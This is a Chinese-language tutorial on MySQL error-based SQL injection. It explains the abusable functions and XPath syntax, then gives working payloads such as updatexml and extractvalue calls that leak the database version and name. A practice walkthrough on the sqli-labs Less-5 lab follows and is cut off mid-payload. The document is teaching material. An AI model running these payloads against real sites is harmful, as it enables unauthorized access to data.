目录
前言:
掌握好extractvalue、updatexml、floor报错,floor报错较难需要多理解,updatexml较为常用
一、什么是报错注入
1、定义
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。是一种页面响应形式。
响应过程:
用户在前台页面输入检索内容后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行
数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面
报错注入存在基础:后台对于输入输出的合理性没有做检查
演示:
输入正常语句情况下页面
输入一条报错注入的语句
?id=1' and updatexml(1,concat(0x7e,version()),3) -- a
输入报错语句情况下页面
报错显示出了数据库的版本
2、分类
通过floor()报错注入
通过extractValue()报错注入
通过updateXml()报错注入
通过NAME_CONST()报错注入
通过jion()报错注入
通过exp()报错注入
通过geometryCollection()报错注入
通过polygon()报错注入
通过multipoint()报错注入
通过multlinestring()报错注入
通过multpolygon()报错注入
通过linestring()报错注入
二、报错函数(掌握123重点掌握2其余了解即可)
1、extractValue()
语法:
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串),Xpath语法
补充:
XPath路径表达式的基本语法如下:
/ : 从根节点开始,定位到目标节点
// : 从当前节点开始,递归查找所有符合条件的节点
. : 表示当前节点
.. : 表示当前节点的父节点
* : 匹配任意节点
@ : 表示属性节点
[] : 表示谓词,用于筛选符合条件的节点以下是一些XPath路径表达式的示例:
/ : 定位到根节点
/bookstore : 定位到根节点下的bookstore节点
/bookstore/book : 定位到bookstore节点下的所有book节点
//book : 递归查找所有book节点
//book[@category='web'] : 查找所有category属性值为web的book节点
用法:
先创建一张表xml
CREATE TABLE xml (doc VARCHAR(150));
添加以下内容
INSERT INTO x VALUES
('
<book>
<title>A guide to the SQL standard</title>
<author>
<initial>CJ</initial>
<surname>Date</surname>
</author>
</book>
');
INSERT INTO x VALUES
('
<book>
<title>SQL:1999</title>
<author>
<initial>J</initial>
<surname>Melton</surname>
</author>
</book>
');
使用extractvalue()查询xml的作者
SELECT extractvalue(doc,'/book/author/surname') FROM xml;
使用extractvalue()查询xml的书名
SELECT extractvalue(doc,'/book/title') FROM xml;
把查询参数路径写错
SELECT extractvalue(doc,'/book/titleddd') FROM xml; 不报错但查询不到内容
把查询参数格式符号写错
SELECT extractvalue(doc,'~book/title') FROM xml; 提示报错
利用报错查询当前数据库
SELECT extractvalue(doc,concat(0x7e,(SELECT DATABASE()))) FROM xml;
SELECT extractvalue(doc,concat('~',(SELECT DATABASE()))) FROM xml;
doc的位置是查询列可以随便填因为不是我们需要的目标
报错执行后面的sql语句SELECT DATABASE()
0x7e是~的ASCII码,concat()函数是拼接的作用。使语句变为~(SELECT DATABASE())从而报错
正常用~但是= + * .等都可以
由于concat(str1, str2,...)所以将~转化为ASCII码
实战:
sqli-labs Less-5
1、判断注入类型
3、查看数据库
?id=-1' and extractvalue(1,conc